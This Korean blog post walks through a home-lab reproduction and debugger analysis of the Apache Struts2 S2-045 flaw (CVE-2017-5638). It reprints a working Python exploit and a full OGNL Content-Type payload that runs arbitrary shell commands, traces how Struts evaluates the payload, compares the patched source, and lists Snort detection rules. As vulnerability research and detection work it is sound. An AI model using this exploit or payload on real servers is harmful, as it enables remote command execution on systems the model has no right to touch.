메뉴 건너뛰기

Hello :0

스트럿츠(Apache Struts2) 관련 취약점은 과거부터 발생해왔으니, 스트럿츠 환경 구축은 한번도 해보지 않아 이번기회에 실행 해보았다.
환경 구축은 Tomcat + Struts-2.3.31 버전 + Eclipse를 이용한다. 
 

1.png

취약한 환경은 https://www.tutorialspoint.com/struts_2/struts_examples.htm의 helloworld 예제를 사용

 

취약 환경에 대한 공격은 https://www.exploit-db.com/exploits/41570/의 파이썬 코드를 이용하였다.

#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import httplib
 
 
def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial
 
    print(page)
    return page
 
 
if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

Exploit 코드에서는 Content-Type에 페이로드를 삽입 하여 공격한다. 페이로드는 struts의 OGNL(https://commons.apache.org/proper/commons-ognl/index.html)식을 사용하여 #cmd에 있는  명령어를 삽입 하여 실행한다.

 

2.png

Exploit코드 실행시 요청에 대한 파싱이 불가능하다는 오류를 확인 가능하다.

 

3.png

4.png

Struts Dispatcher.class content type관련 request 구조체 안에는 요청에 대한 정보가 포함 되어 있다. contains 매서드를 이용해 multipart/form-data가 있는지 확인한다.

 

5.png

MultiPartRequestWrapper.class에서 multi.parse method 호출

 

6.png

processUpload 매서드를 실행 시도 하나 비정상 헤더이기 때문에 try catch에 의해 예외처리 된다.

 

7.png

processUpload를 타고 몇번 들어가다 보면 위와 같은 코드를 확인 할 수 있다.

contetnyType가 null이거나 multipart/로 시작하지 않으면 예외를 발생시킨다.

 

8.png

일차적으로 오류 비정상 헤더를 이용해 에러를 발생시키는 부분까지 왔다. 
String errorMessage = buildErrorMessage(e, new Object[0]);
에서 에러 메시지와 페이로드가 포함된 e를 buildErrorMessage에서 처리하는 도중 시스템 명령어를 실행 할 수 있게 된다.

 

9.png

10.png

디버깅을 진행하다 보면 OgnlTextParser.class의 evaluate method를 실행하고 앞에 보았던 expression의 값으로 에러 메시지가 들어온다. Ognl과 관련된 클래스들과 Method를 계속 디버깅 한다.

 

11.png

 

OgnlValueStack.class에 tryFindValue에서 OgnlValueStack.class의 getValue로 ognl의 형태로 된 페이로드를 실행시킨다.

 

(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

expr에는 위의 페이로드가 들어간다.

 

12.png

13.png

좀더 내부적으로 살펴보면 tree 객체의 _children 항목에 각각의 명령어가 들어간다.

 

14.png

최종적으로 Ognl.class의 getValue에 의해 tree 객체의 명령어가 실행된다.

 

15.png

공격이 성공하면 명령어 실행, 여기서는 계산기 실행

16.png

WinMerge를 이용해서 패치전과 후의 소스코드를 비교해 보면 multipart관련해서 4개의 소스코드중 3개가 변경됨을 확인 할 수 있다.

 

17.png

그중 JakartaStreamMultiPartRequest.java 파일을 살펴보면 취약 부분에 대한 검증 처리가 되어있다.

 

Snort 규칙은 http://doc.emergingthreats.net/bin/view/Main/WebSearch?search=CVE-2017-5638&scope=all을 참고

 

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Expression Injection (CVE-2017-5638)"; flow:to_server,established; content:"ProcessBuilder"; http_header; content:"apache"; http_header; nocase; content:"struts"; http_header; pcre:"/^Content-Type\x3a\x20(?=[^\r\n]*?ProcessBuilder)[^\r\n]*?\.struts/Hmi"; reference:cve,2017-5638; reference:url,github.com/rapid7/metasploit-framework/issues/8064; classtype:web-application-attack; sid:2024038; rev:2;)

 

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Expression Injection (CVE-2017-5638) M2"; flow:to_server,established; content:"Content-Type|3a|"; http_header; nocase; content:"multipart/form-data"; http_header; content:"{"; http_header; nocase; content:"}"; http_header; pcre:"/^Content-Type\x3a(?=[^\r\n]*?multipart\/form-data)[^\r\n]*?\{[^\r\n]{15,}\}/Hmi"; classtype:web-application-attack; sid:2024044; rev:3;)

 

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Expression Injection (CVE-2017-5638) M3"; flow:to_server,established; content:"Content-Type|3a| %{(#"; http_header; nocase; fast_pattern; content:"multipart/form-data"; http_header; classtype:web-application-attack; sid:2024045; rev:2;)